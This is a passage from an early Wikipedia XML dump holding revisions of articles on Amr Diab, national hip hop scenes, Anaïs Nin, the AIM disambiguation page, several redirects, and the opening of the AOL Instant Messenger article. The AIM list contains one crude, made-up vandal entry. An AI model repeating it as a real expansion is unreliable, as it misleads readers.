[[no:Albinisme]]
[[pl:Albinizm]]
[[pt:Albinismo]]
[[fi:Albinismi]]
[[sv:Albino]]
[[uk:Альбінізм]]
[[zh:白化症]]</text>
    </revision>
  </page>
  <page>
    <title>Amr Diab</title>
    <id>2911</id>
    <revision>
      <id>40729629</id>
      <timestamp>2006-02-22T16:55:10Z</timestamp>
      <contributor>
        <username>Wedian</username>
        <id>572073</id>
      </contributor>
      <comment>categorize in Egyptian singers</comment>
      <text xml:space="preserve">{{Infobox_band
| band_name         = Amr Diab
| image             = [[Image:Kammel-Kalamak.jpg|200px]]
| country           = [[Egypt]]/[[Middle east]]
| caption           = Amr Diab's 2005 [[Kammel Kalamak]] Promotional Photo
| years_active      = 1986&amp;ndash;present
| music_genre       = [[Arabic music]]
| }}
'''Amr Abdel Basset Abdel Aziz Diab''' ([[October 11]], [[1961]] in [[Port Said]], [[Egypt]]). Known as Amr Diab, is one of the most successful singers in the [[Arab]] world.

==Biography==
Amr Diab was born in [[Port Said]], [[Egypt]] into an artistic family. His father, Abdul Basset Diab, worked for the Suez Canal Corporation where he was chairman of Marine Construction and Shipbuilding. He possessed a fine singing voice and encouraged the young Amr to sing.

One evening, when Amr was just six years old, his father took him to the [[July 23]] Festival at Port Said There they visited the local broadcasting station and Amr made his first singing appearance on Egyptian Radio performing the National Anthem &quot;Biladi, Biladi&quot;. He was praised by the Governor of Port Said who awarded him with a guitar as a prize.

In due course Amr began his musical studies at the music faculty of the Cairo Academy of Art and from which he graduated in 1986. His first album &quot;Ya Tareeq&quot; followed shortly. It was an instant success. There have been, since then, a further 16 top selling albums in a prolific recording career which has established him as the super-star of the Arab world.

Amr has toured widely throughout his career organizing galas and performing concerts in countries as far flung as Australia, Canada, Europe &amp; the USA.

In 1990 Amr was chosen to represent Egypt at the 5th Tournament of African Sports where he sang in English and French as well as Arabic. This concert was televised by satellite throughout the Arab world and highlighted on CNN. He became the first Arab artist to make a video clip and in a parallel career, has acted in several films including &quot;Deahk We La'ab&quot; (Laughter &amp; Fun), a film which opened the Egyptian Film Festival in 1993. In this film, directed by Tarek Al Telmasani, Amr played opposite the world famous Egyptian actor Omar Sharif. In the film &quot;Ice Cream in Gleem&quot; directed by Khairi Bishara, Amr played the role of the main hero. 
The singer has already been the subject of three biographies – Amr Diab, the owner of my heart, The Rebellious and Amr Diab, Star of the 20th Century. His nickname is Rebellious – due, it is said, to comparisons made with his contemporaries, in all aspects of life - his clothes, hairstyling, the performance and execution of his music, the melodies he composes and his many appearances at parties.

Amr became known for the new 'style' of his music which the Arabs came to call &quot;Mediterranean Music&quot; referring to its blend of Western and Arabic rhythms. He was named, by most satellite and TV stations, as the Best Singer in the Arab World throughout the nineties and continually sets new Arabic sales records with successive album releases. 

1996 witnessed the release of &quot;Nour El Ain&quot; (Light Of The Eye – Sight) which was a tremendous success not only in the Middle East but throughout the entire world. The title track, and its English version &quot;Habibi&quot;, was an international phenomenon, becoming a massive crossover hit in countries as far afield as India, Pakistan, Argentina, Chile, France and South Africa. The song was remixed by several top European arrangers and has become a big pull on the dance floors of Europe. The video clip, also produced by Alam El Phan for the song &quot;Nour El Ain&quot;, was one of the most lavish and expensive productions in the field of Arab song, and set a new standard for his contemporaries to aspire to. &quot;Nour El Ain&quot; has become the best selling album ever released by an Arabic artist.

In 1997 Amr Diab won three Awards at the Annual Arabic Festival (for Best Video, Best Song and Artist of the Year). 
In the following year, he received a Triple Platinum Award for the sales of &quot;Nour El Ain&quot;, and received the Worldwide Music Award in Monaco on [[6 May]] [[1998]], under the patronage of H.S.H. Prince Albert of Monaco, and attended by such International luminaries as Gloria Estefan, Céline Dion, Mariah Carey, The Backstreet Boys, Steven Segal and many more. This award was the first of its kind for an Arabic artist, emphasising that his appeal is not just confined to the Middle East unlike the majority of his contemporaries.

His follow-up studio album entitled &quot;Awedooni&quot; was released in July 1998, and as for &quot;Nour El Ain&quot; it was produced with Hamid El Shary and recorded in Cairo, Egypt. The first video from the album, the title track &quot;Awedooni&quot;, was shot by the river Nile in Egypt and directed by Tareq Al Aryan. Like its predecessor this album was a huge success for Amr and reinforced his popularity in the Arab world and abroad.

The &quot;Best of Amr Diab&quot; released in early 1999 contained a brand new song &quot;Maham Kibirt Sugheir&quot; recorded as a tribute to the Legends of Arabic music such as Omm Kolsoum, Abdel Halim Hafez and Mohammed Abdul Wahab that have influenced him. A strong ballad with a spectacular video of the concert footage inspired by Puff Daddy (who he met at the Monaco Awards) it became another big hit for Amr. The album also contains a previously unreleased European remix of Habibi, and the most popular songs from Amr's albums of the 1990s.
July 1999 sees the release of Amr's new studio album &quot;Amarain&quot;, (two moons) already hailed as the best work of his career to date and including the eagerly anticipated duets with the France based international Rai superstar, Khaled of &quot;Didi&quot; fame, and with the Greek diva, Angela Dimitrou, whose crossover smash &quot;Marguerites&quot; was a huge hit across the Middle East in 1998. The title track Amarain is the first video to be broadcast and the album seems certain to confirm Amr's position as the leading and most innovative artist from the Middle East. 

“Tamally Ma'ak” (Always With You) came next, which was released on[[17 July]] [[2000]], and achieved a high level of popularity and success. The title track’s video, Tamally Ma’ak, which was shot in the Czech Republic, was considered one of the best videos for Amr Diab. Again he appeared with a new look and a new style!

On [[1 August]] [[2001]], and after a great anticipation by the huge number of fans, &quot;Aktar Wahed&quot; was released. The album's name is a short for one of the songs &quot;Aktar Wahed Beyhebbak&quot;. It contains 10 tracks and a bonus oriental remix for the song &quot;Wala Ala Balo&quot;. &quot;Wala Ala Balo&quot;, a well-studied mash up of both Trance/Techno rhythms and Oriental Arabic Music. The song featured the rapper SandMan. The video on the other hand was shot in London in a discotheque. An even newer style for Amr Diab The album contains a good number of significant songs like &quot;Adeeni Rege'telek&quot;, &quot;Ya Habeeby La&quot;, &quot;Sadda'ni Khalas&quot; and &quot;Ba'edd Ellayali&quot;.

Later in 2003, Amr released &quot;Allem Alby&quot; (Teach My Heart). The Album's release date was arranged to be with the debut broadcast of Alam El Phan's (Allem Alby's Production Company, Owned by Mohsen Gaber) music channel &quot;Mazzika&quot;.
The album was a great success, with the release of the video &quot;Ana Ayesh&quot; which was directed by Stuart Gosling. The video was intensely broadcasted on Mazzika . The album contains other good songs, like the album-titled &quot;Allem Alby&quot; which is a solid R&amp;B influenced hit. Others that tend to be more oriental like &quot;Kollohomm&quot; and &quot;Law Ash'any&quot;.

As most of the US and International populations have seen the Pepsi commercial which brings 3 important icons in Pop Music together; Beyoncé Knowles, Pink and Britney Spears. In the US version, Enrique Iglesias takes the role of the Cesar. But in the pan Arab version, the three American divas were maintained but the male figure was replaced with Amr Diab. This was not the first Pepsi Commercial Amr Diab has done. He did one using his song &quot;Allem Alby&quot;.

In between 2003 and 2004, and after a long successful career with Alam El Phan, Amr Diab was officially announced the termination of his contract with Mohsen Gaber (owner of Alam El Phan). Rumors were spread around about the tense situation going on between Gaber and Diab. Since they've been known as good friends, it was a bit of a surprise. Then other rumors circulated that Saudi Prince Waleed Bin Talal (owner of [[Rotana]]) has lured Amr with offering a better deal.

In late summer of 2004, Amr's first album with [[Rotana]] was released, titled &quot;Leily Nahari&quot; (My Nights, -are- My Days) but it refers more that he's been up all his nights because his beloved is far away. The album's cover was from the promotional photo shoot of Pepsi, but the album was brand new. The video &quot;Leily Nahari&quot; directed by Casey Cameron was a great aid to give Amr his space in the record-exclusive music channels. Still, it was a bit criticized to be similar to his Previously Unreleased video of &quot;El Alem Allah&quot; from the album &quot;Tamally Ma'ak&quot;.

Most of his albums so far had met wide popularity all over the Arab world and even globally. 

He also won the world music award twice as the best selling middle eastern Artist in 2002 and 1998

He also obtained many local and international prizes in song festivals, including his song [[Nour El Ain]].

==Discography==
* [[Kammel Kalamak]]    (Continue Your Remark)    (2005)
* [[Leily Nahary]]      (My nights , My days)     (2004)
* Allem Alby            (Teach My heart)          (2003) 
* Aktar Wahed           (The Most One)            (2001)
* Tamally Maak          (Always with you)         (2000)
* Amarain               (Two Moons)               (1999)
* Awedony               (They Make Me Used To)    (1998)
* Nour Alain            (Sight Of The Eye)        (1996)
* Rag'een               (Returnees)               (1995)
* Weylomony             ('and' They Blame Me)     (1994)
* Zekrayat              (Memories)                (1994)
* Ya Omrina             (Our Lifetime)            (1993)
* Ayyamna               (Our Days)                (1992)
* Ice Cream Fe Gleem    (Ice-cream In Glym)       (1992)
* Habiby                (My Darling/Beloved)      (1991)
* Matkhafeesh           (Dont Be Afraid)          (1990)
* Shawwa'na             (Made us Eager)           (1989)
* Mayyal                (Susceptible)             (1988)
* Khalseen              (We're Even)              (1987)
* Hala Hala             (Ola Ola)                 (1986)
* Ghanny Men Albak      (Sing From Your Heart)    (1984)
* Ya Taree'             (Hey Road)                (1983)

==External links==

*[http://www.amrdiabworld.com Amr Diab's official website]
*[http://forums.amrdiabworld.com The official online fans community]
*[http://www.amrdiabworld.com/musicshop.php Buy all Amr Diab's CDs]
*[http://www.amrdiab.net Amr Diab First Fan Network, since 2000]
*[http://www.3arabiaphoto.com/singers/amr_diab.html Amr Diab Bio, Pictures and Wallpapers]

[[Category:1961 births|Diab, Amr]]
[[Category:Living people|Diab, Amr]]
[[Category:Egyptian singers|Diab, Amr]]
[[Category:Arabic language singers|Diab, Amr]]

[[es:Amr Diab]]
[[eo:Amr Diab]]
[[hu:Amr Diab]]
[[fi:Amr Diab]]
[[de:Amr Diab]]</text>
    </revision>
  </page>
  <page>
    <title>Archeoastronomy</title>
    <id>2912</id>
    <revision>
      <id>15901292</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <comment>re-re-redirect...</comment>
      <text xml:space="preserve">#redirect[[Archaeoastronomy]]
</text>
    </revision>
  </page>
  <page>
    <title>Auckland, New Zealand</title>
    <id>2913</id>
    <revision>
      <id>15901293</id>
      <timestamp>2004-05-24T05:25:10Z</timestamp>
      <contributor>
        <username>Ben Arnold</username>
        <id>54671</id>
      </contributor>
      <comment>moved to Auckland</comment>
      <text xml:space="preserve">#REDIRECT [[Auckland]]</text>
    </revision>
  </page>
  <page>
    <title>African rap in France</title>
    <id>2914</id>
    <revision>
      <id>15901294</id>
      <timestamp>2003-04-13T00:55:19Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <comment>moving content needlessly and artificially split</comment>
      <text xml:space="preserve">#redirect [[French hip hop]]</text>
    </revision>
  </page>
  <page>
    <title>Ghanaian hip hop</title>
    <id>2915</id>
    <revision>
      <id>40360131</id>
      <timestamp>2006-02-20T01:24:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Ghanaian hip hop''' is the origin of [[hip life]], a combination of [[hip hop music]] and [[highlife]].  The [[Ghanaian music]] scene has also produced a number of rappers and DJs with local and international renown.  Ghanaian [[rapping]] is mostly in the [[English language]], but is also sometimes in [[Twi language|Twi]], [[Ga language|Ga]] or [[Hausa language|Hausa]].

==DJs, crew and rappers==
*[[Abeeku]]
*[[Akyeame]]: known for using folk elements in their music, including [[Osibsi music]] and traditional [[Akan music]]
*[[C-A-B]]
*[[Chicago (rapper)|Chicago]]
*[[Da Multy Krew]]: Ghanaian-Dutch crew, major part of the [[Dutch hip hop]] scene
*[[Kaseem]]
*[[Lifeline Family]]
*[[Lord Kenya]]
*[[Lord Lust]]
*[[Mensah]]
*[[Mr. Oduro]]
*[[Nananome]]: hip life
*[[Nsoroma]]
*[[Obrafo]]
*[[Omahene Pozo]]: [[Miami bass]]-styled
*[[Reggie Rockstone]]
*[[The SASS Squad]]
*[[Talking Drums]]: pioneering mid-90s duo
*[[VIP (hip hop crew)|VIP]]

==References==
*[http://www.africanhiphop.com/index.php?module=subjects&amp;func=viewpage&amp;pageid=75]

==External links==
*[http://www.musicinghana.com/ Ghana Music News] The Best Alternative to everything about Ghana Music and the Ghanaian music industry.
*[http://www.ghanamusic.com/ Ghana Music.com] The largest source of info on the Ghanaian music industry.



{{music-genre-stub}}

{{worldhiphop}}

[[Category:Ghanaian music]]
[[Category:Hip hop by nationality]]</text>
    </revision>
  </page>
  <page>
    <title>Belgian hip hop</title>
    <id>2916</id>
    <revision>
      <id>37929971</id>
      <timestamp>2006-02-03T01:06:42Z</timestamp>
      <contributor>
        <username>Wackytacky</username>
        <id>853927</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''[[Belgium|Belgian]] [[hip hop music]]''' has a few [[rapper]]s stemming from [[Africa]]. [[Belgium]], like [[France]] controlled [[Africa]]n countries like the [[Democratic Republic of the Congo]] (formerly Zaire), [[Rwanda]], and [[Burundi]] until the early [[1960s]]. Like France, [[Immigration|immigrant]]s from these countries started to study and live in Belgium. 

The Belgian hip hop scene started in the late [[1980s]] with a U.S.-based [[techno music|techno]]/hip hop group called [[Technotronic]]. In the group was an emcee named [[Ya Kid K]] from the [[Democratic Republic of the Congo]] who later led the group into international fame with hits like &quot;Pump up the Jam&quot; and &quot;Shake tTat Body&quot;. In [[1990]], she also joined the group Hi-Tek 3 who were heard on the ''[[Teenage Mutant Ninja Turtles]]'' movie [[soundtrack]]. 

However, the first major pop rapper from Belgium was [[Benny B]], who had a very mainstream and commercial sound.  According to the [[European Music Office]]'s report on ''Music in Europe'', this was the first of many pop acts that helped inspire a backlash and the creation of an underground hip hop scene [http://www.icce.rug.nl/~soundscapes/DATABASES/MIE/Part2_chapter08.html].

In the early [[1990s]] the [[Brussels]]' rap crew [[De Puta Madre]] started rapping in French and Spanish. They became an [[Underground_culture|underground]] success and are still highly respected in the Belgian hip hop scene.

In the late 1990s, [[Rwanda]]n hip hop pioneer J.C. Matata moved to Belgium and created a hip hop/[[reggae]]/[[zouk]] group called [[ZAMZAM]]. 

Also in the late [[1990s]] in the [[Wallonia|Walloon south]] of the country, French speaking/rapping [[Starflam]] was the biggest name in hip hop. In the [[Flanders|Flemish]] [[north]] Dutch speaking/rapping groups like [['t Hof van Commerce]], St Andries MC's, and ABN were popular, rapping in their regional [[dialect]]s. One of the most promising bands in 2006 seems to be Last Prophecy.

==List of Belgian hip hop musicians==

Others (DJ's, MC's and crews):
*Afterhours 
*Caveman Speak
*CNN199 (Souterrain)
*Dave Krewcial
*DJ Grazzhoppa
*Laco$te
*Rival (Souterrain)
*Pitcho (Souterrain)
*Last Prophecy

{{worldhiphop}}

[[Category:Belgian music|Hip hop]]
[[Category:Hip hop by nationality]]

[[fr:Le hip hop en Belgique]]</text>
    </revision>
  </page>
  <page>
    <title>Dutch hip hop</title>
    <id>2917</id>
    <revision>
      <id>41047480</id>
      <timestamp>2006-02-24T18:39:58Z</timestamp>
      <contributor>
        <username>Vclaw</username>
        <id>235019</id>
      </contributor>
      <minor />
      <comment>fix link (War Child)</comment>
      <text xml:space="preserve">Like [[France]], the [[Netherlands]] has an African [[hip hop music|hip hop]] scene. [[Rap music|Rap]] groups from [[Cape Verde]], a [[Portugal|Portuguese]]-speaking island off the coast of West Africa have been living there. These rappers were [[E-Life]], [[The Real Vibe]], and [[the Postmen]]. The Postmen rap in English, adding a hip hop and [[reggae]] flavor. Two of the members are from Cape Verde and one of them is from [[Suriname]], a Dutch-speaking country in South America. The Netherlands is also home to the ''[[Rumba-Kali]]'', an African hip hop magazine.

Another important Dutch hip hop crew is the [[Osdorp Posse]].  The [[Urban Dance Squad]], though not strictly a hip hop crew, were the first European band to rap [http://www.icce.rug.nl/~soundscapes/DATABASES/MIE/Part2_chapter08.html].

In 1986, [[Netherlands|Dutch]] rap duo [[MC Miker G &amp; Deejay Sven]] had a top 10 hit across Europe with &quot;Holiday Rap&quot;, which sampled [[Madonna (entertainer)|Madonna's]] &quot;Holiday&quot;.

One particularly proficient Dutch-language rapper is [[Extince]].  Other notable acts include [[Ali B.]] (who has been featured on other artists' tracks, most significantly with [[Marco Borsato]] on the song &quot;Wat zou je doen?&quot; for the charity [[War Child (charity)|War Child]]) who achieved solo success with &quot;Leipe mocro flavour&quot;. Together with his nephew Yes-R he made an international remix of &quot;Ghetto&quot; together with Akon.; the duo [[Lange Frans &amp; Baas B]] with their patriotic but introspective &quot;[[Het land van (song)|Het Land Van]]&quot;; and [[Yes-R]] but these people have got the biggest hits, but not the best rap skills (wordplay, 'flow' which means a rhyme schedule that sounds good together with the beat, originallity). Most notable for rap skills in Holland these days is the rap group &quot;Opgezwolle&quot; (rapper Sticky Steez, rapper Frico Rico and DJ Delic) and most of all Brainpower. Rapper Jawat, won the &quot;Grote prijs van Nederland&quot; 2006, and has a very original and unique style. Holland has got a fast growing 'underground scene' and rapping in Dutch is very popular.

{{music-genre-stub}}
{{worldhiphop}}

[[Category:Dutch styles of music]]
[[Category:Hip hop by nationality]]</text>
    </revision>
  </page>
  <page>
    <title>Argument by lack of imagination</title>
    <id>2918</id>
    <revision>
      <id>15901298</id>
      <timestamp>2003-10-23T10:33:28Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>#REDIRECT [[Argument from ignorance]]</comment>
      <text xml:space="preserve">#REDIRECT [[Argument from ignorance]]</text>
    </revision>
  </page>
  <page>
    <title>Anaïs Nin</title>
    <id>2919</id>
    <revision>
      <id>40929154</id>
      <timestamp>2006-02-23T23:09:15Z</timestamp>
      <contributor>
        <ip>24.7.63.2</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Anais.jpg|frame|400px|Anaïs Nin]]
'''Anaïs Nin''' (pronounced &quot;ana-EESE neen&quot; [ana'i:s nin]) ([[February 21]] [[1903]] - [[January 14]] [[1977]]) was a [[France|French]]-born [[author]] of [[Catalonia|Catalan]] and [[Denmark|Danish]] descent who became famous for her published [[diary|diaries]], which span more than sixty years, beginning when she was eleven years old and ending shortly before her death. After the deaths of Anaïs Nin and her first husband, Hugh Guiler, the unexpurgated, or uncensored, versions of her diaries were commissioned by her second husband, Rupert Pole, and published to great interest and acclaim. 

Anaïs Nin was born in [[Neuilly]], [[France]]. After her parents separated, her mother moved Anaïs and her two brothers, Thorvald Nin and [[Joaquin Nin-Culmell]] to [[New York City]]. While still a teenager, Nin abandoned formal schooling and began working as a [[model (person)|model]]. In [[1923]], she married Hugh Parker Guiler. The couple moved to [[Paris|Paris, France]] the following year, where Guiler pursued his [[banking]] career and Nin began to pursue her interest in writing, where her first published work was a critical evaluation of [[D. H. Lawrence]] called &quot;D. H. Lawrence: An Unprofessional Study.&quot; She also explored the field of [[psychotherapy]], studying under the likes of [[Otto Rank]], a disciple of [[Sigmund Freud]].

Anaïs Nin is hailed by many critics as one of the finest examples of writers of female [[erotica]]. She was the first woman to really explore the realm. Before her, erotica written by women was virtually unheard of, except for a few writers such as [[Kate Chopin]].  Nin, faced with a desperate need for money, wrote the stories in ''[[Delta of Venus]]'' for a dollar a page in the [[1940s]]. She considered the characters in her erotica to be extreme caricature and never intended for the erotica to be published. Her writing was scandalously explicit for the time. In her unexpurgated diaries, she wrote about her incestuous relationship with her father. 

Nin was a friend, and in some cases lover, of many leading literary figures, including [[Henry Miller]], [[Edmund Wilson]], [[Gore Vidal]], [[James Agee]], and [[Lawrence Durrell]].

Her passionate love affair and friendship with Miller (and his wife, June, with whom she did not have an affair as described in the [[Philip Kaufman|Kaufman]] film, ''[[Henry &amp; June]]'') strongly influenced both the woman and the author.
 
In [[1973]] she received an honorary [[doctorate]] from Philadelphia College of Art. She was elected to the [[National Institute of Arts and Letters]] in [[1974]]. Anaïs Nin died of [[cancer]] in [[Los Angeles, California]] on [[January 14]] [[1977]], her body was [[cremation|cremated]], and her ashes were scattered over [[Santa Monica Bay]].

In [[1990]] [[Philip Kaufman]] made the [[Henry &amp; June|film]] based on her novel ''[[Henry and June|Henry &amp; June]]'' from ''The Journal of Love — The Unexpurgated Diary of Anaïs Nin, 1931-1932''.  It starred [[Maria de Medeiros]] as Nin, [[Fred Ward]] as Henry Miller, and [[Uma Thurman]] as June.

To date, the combined sales of books by Anaïs Nin, including the erotica, fiction, literary criticism, and diaries, exceed 3 million. 

==List of works==
* ''[[D.H. Lawrence: An Unprofessional Study]]''
* ''[[Collages (Anaïs Nin)|Collages]]''
* ''[[Winter of Artifice]]''
* ''[[Under a Glass Bell]]''
* ''[[House of Incest]]''
* ''[[Delta of Venus]]''
* ''[[Little Birds]]''
* ''[[Cities of the Interior]]'', in five volumes:
** ''[[Ladders to Fire]]''
** ''[[Children of the Albatross]]''
** ''[[The Four-Chambered Heart]]''
** ''[[A Spy in the House of Love (book)|A Spy in the House of Love]]'' 
** ''[[Seduction of the Minotaur]]''
* ''[[The Diary of Anaïs Nin]]'' 7 volumes
* ''[[The Early Diary of Anaïs Nin]]'' 4 volumes
* ''[[The Novel of the Future]]''
* ''[[Henry and June]]''
* ''[[Incest (book)|Incest]]''
* ''[[Fire (book)|Fire]]''
* ''[[Nearer the Moon]]''

==References==
* Bair, Deirdre: [[Anaïs Nin: A Biography]]. New York: Putnam 1995. ISBN 0-399-13988-5 

==External links==
* [http://www.anaisnin.net/ Anaïs Nin dot net]
* [http://www.anais-nin.de/ The Anaïs Nin Homepage]
* [http://www.anaisnin.com/ The Official Anais Nin.com]
* [http://groups.yahoo.com/group/anaisnincafe Anais Nin Cafe discussion group]
* [http://www.geocities.com/arsenio_grilo/a_nin_1.html Delta of Venus]
* [http://www.geocities.com/arsenio_grilo/little_birds_1.html Little Birds]
* [http://www.oldkewgardens.com/ss-2-homes-0125.html Anaïs Nin]


[[Category:Women writers|Nin, Anaïs]]
[[Category:1903 births|Nin, Anaïs]]
[[Category:1977 deaths|Nin, Anaïs]]
[[Category:Diarists|Nin, Anaïs]]
[[Category:American writers|Nin, Anaïs]]
[[Category:California writers|Nin, Anaïs]]

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    </revision>
  </page>
  <page>
    <title>AIM</title>
    <id>2920</id>
    <revision>
      <id>40032124</id>
      <timestamp>2006-02-17T17:10:16Z</timestamp>
      <contributor>
        <username>RoboDick</username>
        <id>815650</id>
      </contributor>
      <minor />
      <comment>robot  Adding: it</comment>
      <text xml:space="preserve">'''AIM''' is a [[three-letter abbreviation]] with multiple meanings, as described below:

* [[AOL Instant Messenger]] 
* [[A I M Management Group Inc.]] ([[AIM Investments]])
* [[Abductory Inductive Mechanism]]
* [[Abrams Integrated Management]]
* [[Abridged Index Medicus]]
* [[Absorption Isotherm Measurement]]
* [[Accunet Information Manager]] ([[AT&amp;T]])
* [[Accuracy in Media]] (news media watchdog)
* [[Acquisition Information Management]]
* [[Action Item Master]]
* [[Active Inert Missile]]
* [[Ada Interactive Monitor]] (cf. [[Ada programming language]])
* [[Active Intermodal Mapping]] (hypothesis underlying facial [[imitation]] in early infants)
* [[Adaptive Internetwork Management]] ([[Ungermann-Bass]])
* [[Adiabatic Invariance Method]] ([[ion-molecular reaction]]s)
* [[Administrators In Medicine]]
* [[AIM (Marvel)|Advanced Idea Mechanics]]
* [[Advanced Induction Motor]]
* [[Advanced Industrial Management]]
* [[Advanced Informatics in Medicine]]
* [[Advanced Information Management]]
* [[AIM 65|Advanced Interactive Microcomputer 65 (AIM 65)]] (Rockwell's [[MOS Technology 6502|6502]] [[single-board computer]], based on the [[KIM-1]] design)
* [[Advanced Integrated Multiplex]]
* [[Advanced Integration Module]] ([[Cisco Systems]])
* [[Advanced Interactive Microcomputer]]
* [[Advanced Interconnect Modeling]]
* [[Advanced Invar Mask]] ([[cathode-ray tube|CRT]] display technology by [[ViewSonic]])
* [[Advanced Inventory Management]] ([[Telco Research]])
* [[Advanced Isolation Method]]s
* [[Advanced ISR Management]]
* [[Adventures In Ministry, Inc.]]
* [[Adventures In Missions]]
* [[Aerial-Intercept missile]]
* [[Aeronautical Information Manual]]
* [[Aeronomy of Ice in the Mesosphere]], a satellite mission to observe [[noctilucent clouds]] - [http://aim.hamptonu.edu/]
* [[Africa Inland Mission]]
* [[Air Intercept Missile]] (e.g. [[AIM-9 Sidewinder]])
* [[Alternative Investment Market]] [http://www.londonstockexchange.com/en-gb/products/companyservices/ourmarkets/aim]
* [[American Indian Movement]] 
* [[American Institute of Mathematics]]
* American Image Marketing
* [[AIM alliance|Apple IBM Motorola alliance]] (formed between the three companies to develop the [[PowerPC]] microprocessor architecture)
* [[Asian Institute of Management]]
* [[Arse Injection of Millman]]
* [[Association for Automatic Identification and Mobility]] [http://www.aimglobal.org/]
* [[Association of Independent Music]]
* Association of International Mercenaries
* [[Atoms in Molecules]]
{{TLAdisambig}}
----
'''See also:''' [[Aim]]

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    </revision>
  </page>
  <page>
    <title>AOL Instant Messanger</title>
    <id>2922</id>
    <revision>
      <id>15901301</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[AOL Instant Messenger]]
</text>
    </revision>
  </page>
  <page>
    <title>AOL Instant Messenger</title>
    <id>2923</id>
    <revision>
      <id>42000876</id>
      <timestamp>2006-03-03T03:34:11Z</timestamp>
      <contributor>
        <username>Mosquitopsu</username>
        <id>319514</id>
      </contributor>
      <minor />
      <comment>/* Spyware/Adware/Viruses */ fixed name</comment>
      <text xml:space="preserve">{{Infobox_Software2|
 name = AOL Instant Messenger
|logo = [[image:Aim_brand5.gif|AIM Logo]]
|screenshot = [[image:AIMlogin.PNG|AIM Triton Login Window]]
|caption =
|developer = [[America Online]]
|operating_systems = [[Windows]], [[Mac]], [[Linux]]
|genre = [[Instant Messaging|Instant Messanger]]
|license =
|website = [http://www.aim.com/ www.aim.com/]
}}

The '''AOL Instant Messenger''' ('''AIM''') is an ad-supported [[instant messaging]] and [[Presence information|presence]] [[computer program]], [[publishing|published]] by [[AOL]] in October of 1997, which uses the [[OSCAR protocol|OSCAR instant messaging protocol]] and the [[TOC protocol]]. The most recent [[Computer software|software]] versions are '''AIM Triton 1.0.4''', released on [[January 26]], [[2006]] (for [[Microsoft Windows|Windows]] 2000/XP), '''AIM Triton Beta 1.2.10.3''', released on [[February 14]], [[2006]] (for [[Microsoft Windows|Windows]] 2000/XP), '''AIM 5.9.3861''', released on [[August 10]], [[2005]] (for [[Microsoft Windows|Windows]] 98/ME/2000/XP), '''AIM 4.7.1333''', released on [[February 18]], [[2004]] (for [[Mac OS X]]), and '''AIM 1.5.286''', with an unknown release date (for various [[Linux]] distributions). AOL has described this technology as a means of &quot;immediate cross-[[Internet]] [[communication]]&quot;

==About==
AIM allows users to communicate instantly through text to their &quot;buddies&quot; (or bots such as [[SmarterChild]] or [[ZolaOnAOL]]) around the world, provided they have the AIM software. AIM has 195 million users (January 2003), with a large portion using [[Internet slang]]. Advocates claim that it is easy to locate these users by visiting chatrooms that AOL has set up solely for those purposes. Chat topics range from heavy metal music to current affairs. AOL also has a member directory where AIM users can locate others online who share their interests. AIM is also noteworthy for its use of [[buddy icon|buddy icons]] and [[buddy profile|buddy profiles]], allowing its users to construct a personal [[avatar (virtual reality)|avatar]] and small personal information page.

AIM's setup varies greatly from [[MSN Messenger]] in that it does not require approval from one buddy to be added to another's buddy list (MSN's default settings send a message to a user notifying them if anyone has added them and letting them choose whether or not to block that user). As a result, many users keep other unsuspecting users on their buddy list to read their profiles or see if they are online (if the said user had blocked them before), A user can block another user from all communications, but some users keep extra usernames for avoiding these blocks.

Since version 2.0, AIM has included person-to-person text messaging, chatroom messaging, and the ability to share files [[peer-to-peer]] with one's buddies.  Somewhere in the 4.x series, the AIM client for [[Microsoft Windows]] added the ability to play games against one another (This uses the WildTangent engine, which is listed as adware.). Recent (4.3 and later) versions of the client software store one's contact information on AOL's servers, so one can keep track of up to 500 buddies from any computer with Internet access. Stand-alone official AIM client software is available [[gratis|for free]] for [[Microsoft Windows]], [[Mac OS]], [[Mac OS X]], [[Linux]], [[Windows CE]], and [[Palm OS]]. It was believed that versions of AIM including and above 4.0 contained a clause in the [[software license]] that disallowed the use of third party clients, so some users still use the 3.0 series of AIM.  However, the latest version of AOL Instant Messenger's software license does allow the use of third party clients, subject to the terms and conditions of that third party.

There is also a version of AIM, called AIM Express, that is implemented in [[DHTML]] and runs in a  [[web browser]].  It is intended for use by people who are unable or unwilling to install an executable client on their machines but still want to use instant messaging.  AIM Express supports many of the standard features included in the stand-alone client, but does not provide advanced features like file transfer, audio chat, or video conferencing.  

The standard protocol that AIM clients use to communicate is called OSCAR. AIM Express uses another protocol called TOC. TOC has also been made available to the public, which some people believe is an attempt to throw a bone to third-party client developers and lure them away from OSCAR.  If this is the case, it has not been entirely successful. AOL often changes the details of the OSCAR protocol, which tends to keep third-party clients from working properly. This has resulted in quite a bit of difficulty for programmers of third party clients.

[[Apple Computer]]'s [[iChat AV]] software, released in June 2003 for [[Mac OS X]], was the first AIM-compatible client to allow for audio and video conferencing over the AIM protocol. In February, 2004, AIM 5.5 was released, allowing Windows users to video conference with each other and with iChat users. Although AIM is the most feature rich official release of a mainstream instant messenger for the [[Apple Macintosh]], it lacks several features that the latest Microsoft Windows version offers.

AIM software is the first to use online video streaming advertisements, using ads from [[eyewonder]]

AOL has recently released its new client software, [[AIM Triton|Triton]]. Triton is an overhauled version of the AIM client, which has many of the features from the popular third party plug-ins, including tabbed messages and AIM logging. Triton replaces the classic AIM client software.

AOL has also recently released [http://mail.aim.com AIM Mail] with the latest version of the AIM client, offering 2GB @aim.com e-mail accounts for all users.  Beyond the account size, AIM Mail boasts both webmail and IMAP interfaces, as well as AIM presence and Single Log-on.

AIM is also notorious for security weaknesses that enable many users to [[exploit]] through third party software to perform a myriad of malicious acts. Although most are harmless and merely annoying, (such as being kicked off the AIM service) some perform other potentially dangerous actions such as harvesting [[ip address | IP addresses]] and sending viruses upon a direct connection.

===AIM terminology===
AIM and AOL use several terms for elements of their instant messaging, which are different than other messengers. These include:

